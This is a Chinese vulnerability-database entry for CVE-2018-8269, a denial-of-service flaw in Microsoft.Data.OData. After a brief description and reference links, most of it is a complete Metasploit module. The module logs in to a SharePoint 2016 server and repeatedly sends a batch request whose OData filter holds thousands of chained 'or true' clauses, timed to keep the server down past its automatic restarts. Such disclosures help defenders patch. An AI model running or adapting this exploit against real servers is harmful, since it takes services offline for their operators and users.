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Microsoft.Data.Odata 安全漏洞

**|**漏洞来源

https://www.securityfocus.com/bid/105322 https://cxsecurity.com/issue/WLB-2019010093 http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-201809-479

**|**漏洞详情

Microsoft.Data.Odata是美国微软(Microsoft)公司发布的一款支持开放数据协议(OData)的.NET Framework序列化库。 Microsoft.Data.Odata中存在拒绝服务漏洞,该漏洞源于程序没有正确的处理Web请求。远程攻击者可通过向Odata应用程序发送特制的请求利用该漏洞使Odata Web应用程序无法正常服务。

**|**漏洞EXP
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'sharepoint-ruby'

class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::Tcp
  include Msf::Auxiliary::Dos
  include Msf::Exploit::Remote::HttpClient


  def initialize(info = {})
    super(update_info(info,
        'Name'        => 'DOS Vulnerability in SharePoint 2016 Server',
        'Description'    => %q{
          A vulnerability in Microsoft SharePoint Server could allow a remote attacker to make the server unavailable.
          The vulnerability is a result of the dependency SharePoint has in Microsoft.Data.OData library which was 
          vulnerable to remote DOS (See CVE-2018-8269). The exploit is done by sending a crafted request that contains
          an OData filter that triggers the vulnerability in Microsoft.Data.OData library. Sending such request, will
          terminate the process that runs the server. By default, SharePoint server is configured to recover a
          terminated process, but it will do so only 10 times. If more than 10 malicious requests are sent in 5
          minutes interval, the server will not recover and will be down until it is manually restarted.
      },
      'Author'         =>
        [
          'Gil Mirmovitch', # Vulnerability discover and poc
          'Gal Zror'        # Metasploit module
        ],
      'Platform'    => 'win',
      'References'     =>
          [
              [ 'CVE', '2018-8269' ],
              [ 'ALEPH', '2018002' ]
          ],
      'Targets'     =>
          [
              [ 'Microsoft Office SharePoint Server 2016', { } ],
          ],

          ))

    register_options(
      [
        Opt::RPORT(443),
        OptString.new('SSL',  [true, 'Negotiate SSL/TLS for outgoing connections', true]),
        OptString.new('USERNAME',  [true, 'The username to login with']),
        OptString.new('PASSWORD',  [true, 'The password to login with']),
        OptString.new('VHOST',  [true, 'HTTP server virtual host'])
      ], self.class)

  end

  def fetch_auth_cookie
    print_status("Fetching Authentication Cookie")
    begin
      site = Sharepoint::Site.new vhost, 'server-relative-site-url'
      site.session.authenticate datastore['USERNAME'], datastore['PASSWORD']
      return site.session.cookie
    rescue Sharepoint::Session::AuthenticationFailed
      fail_with(Failure::NoAccess, "Authentication failed")
    end
    print_good("Authentication Succeeded")
  end

  def extract_digest_value(cookie)
    token_api_uri = '/_api/contextinfo'
    res = send_request_cgi( {
                                'method' => 'POST',
                                'uri' => normalize_uri(token_api_uri),
                                'cookie' => cookie,
                            })
    if res.nil?
      fail_with(Failure::UnexpectedReply, "Empty context response")
    end
    res.get_xml_document.xpath('//d:FormDigestValue').text
  end

  def send_dos_request
    send_request(6100)
  end

  def send_innocent_request
    send_request(5)
  end

  def send_request(reps)
    vuln_api_uri = "/_api/$batch"
    cookie = datastore['COOKIE']

    data = Rex::MIME::Message.new
    data.add_part(
        "GET /_api/web/lists?$filter=true" + "+or+true" * reps + " HTTP/1.1\r\n" +
            "accept: application/json;odata.metadata=minimal\r\n", #Data is our payload
        'application/http',                                       #Content Type
        'binary',                                                 #Transfer Encoding
        nil                                                       #Content Disposition
    )
    send_request_cgi({
                           'method'   => 'POST',
                           'uri'      => normalize_uri(vuln_api_uri),
                           'ctype'  => "multipart/mixed; boundary=#{data.bound}",
                           'data'   => data.to_s,
                           'cookie' => cookie,
                           'headers'      => {
                               'x-requestdigest'    => extract_digest_value(cookie),
                           }

                       })
  end

  def dos
    print_status("Sending DOS malicious requests...")
    (0..10).each {|i|
      print_status("Countdown #{10 - i}...")
      send_dos_request
      sleep(60)
    }

  end

  def check
    datastore['COOKIE'] = fetch_auth_cookie

    print_status("Sending innocent request...")
    res = send_innocent_request

    if res && res.code == 200
      print_good("Server responded 200 to innocent request")
    else
      print_bad("Server response " + res.code.to_s + " to innocent request")
      return Exploit::CheckCode::Unknown
    end

    print_status("Sending malicious request...")
    res = send_dos_request

    if res.nil?
      Exploit::CheckCode::Vulnerable
    else
      print_bad("Server response " + res.code.to_s + " to malicious request")
      Exploit::CheckCode::Safe
    end
  end

  def run
    if check == Exploit::CheckCode::Vulnerable
      dos
    end
  end
end

最后更新: 2021-03-24